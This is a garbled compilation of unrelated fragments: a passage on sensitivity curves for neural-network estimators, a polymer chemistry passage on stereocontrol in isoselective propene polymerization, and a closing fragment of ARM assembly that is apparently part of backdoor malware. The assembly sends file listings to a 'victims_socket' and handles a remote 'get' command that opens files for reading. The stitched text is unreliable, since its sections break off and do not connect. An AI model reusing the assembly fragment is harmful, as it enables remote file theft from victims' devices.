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at W O , i t does not indicate how far to step in that direction to find a minimum, as this is also determined by the non-local shape of the surface. In addition, however far we should step in order t o get t o a minimum, the actual length of the step taken from the fitted model will also depend on the numerical minimization routine employed . Hence even for a single step, the function d p / a w does not reliably tell us how the parameters will change. Moreover, these same considerations will apply with each step of the iteration process. For these two reasons, we consider a finite sample version of the IC, namely, the sensitivity curve (SC). If we have an estimator that takes a sample of size and a given sample we can plot .. a function of Then, if we replace F by F N - ~ and by 1 / N in the definition of the IC (equation 8.1, p. 124), we get the sensitivity curve

the chlorine ligands has been replaced by R via alkylation by the group I III metal component Propagation occurs by coordination of monomer at the vacancy, migratory insertion into the Ti bond, and migration of the newly formed bond to regenerate the vacancy in R the original con guration Considering either XXI or XXII, coordination of monomer can occur through either of the two monomer enantiofaces (si or re), which results in two diastereomeric transition states The two diasteromeric states give rise to the two possible placements of monomer units in the polymer chain meso and racemo [Corradini et al, 1984, 1985; Zambelli et al, 1978, 1980] The driving force for isoselective propagation results from steric and electrostatic interactions between the substituent of the incoming monomer and the ligands of the transition metal.

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The chirality of the active site dictates that monomer coordinate to the transition metal vacancy primarily through one of the two enantiofaces Actives sites XXI and XXII each yield isotactic polymer molecules through nearly exclusive coordination with the re and si monomer enantioface, respectively, or vice versa That is, we may not know which enantioface will coordinate with XXI and which enantioface with XXII, but it is clear that only one of the enantiofaces will coordinate with XXI while the opposite enantioface will coordinate with XXII This is the catalyst (initiator) site control or enantiomorphic site control model for isoselective polymerization The enantiomorphic site control model attributes stereocontrol in isoselective polymerization to the initiator active site with no in uence of the structure of the propagating chain end The mechanism is supported by several observations: 1.

13 C NMR of isotactic polypropene shows the main error is pairs of racemic dyads instead of isolated racemic dyads (Table 8-3) [Heatley et al, 1969; Resconi et al, 2000; Wolfsgruber et al, 1975] A stereoerror in the addition of a monomer molecule is immediately corrected when stereocontrol is by the chiral active site If stereocontrol was due to the propagating chain end, an error would continue to propagate in an isotactic manner to yield a polymer, referred to as an isotactic stereoblock, containing long isotactic all-R and all-S stereoblocks on each side of the error 2 13 C NMR of ethylene-propene copolymers of low ethylene content produced by initiators that yield isotactic polypropene shows that the isotactic propene units on each side of an ethylene unit have the same con guration (ie, all-R or all-S) [Zambelli et al, 1971, 1978, 1979].

We then have three tools for examining the behavior of an MLP on a finite sample:

For stereocontrol by the propagating chain end, the amount of polymer in which the polypropene blocks on either side of an ethylene unit have the same con guration would equal that in which the blocks have the opposite con guration 3 Statistical analysis of the stereochemical sequence distributions (Table 8-3 and Sec 8-16) also supports the enantiomorphic site control model Further insights into isoselective polymerization come from molecular mechanics studies showing that stereoselectivity is not due to direct interactions between monomer and the chiral active site [Corradini et al, 1979, 1982; Monaco et al, 2000] The effect of the chiral active site is indirect, at least for propene polymerization the mechanism is chiral orientation of the propagating polymer chain The chiral active site forces the propagating polymer chain to assume a chiral orientation, which results in discrimination between the two enantiofaces of the monomer.

tst R0, R0 bne _find_next _no_more_files eor R3, R3, R3 str R3, PE_header ldr R0, victims_socket ldr R1, =PE_header ldr R2, =4 bl send ; send Final entry b _recv_loop ; ***************************************************************************** ; ***************************************************************************** _cmd_get ldr R0, =PE_header+4 ; filename to get ldr R1, =GENERIC_READ eor R2, R2, R2 eor R3, R3, R3 ldr R4, =OPEN_EXISTING str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW ; try to open file tst beq str R0, R0 _recv_loop R0, hFile

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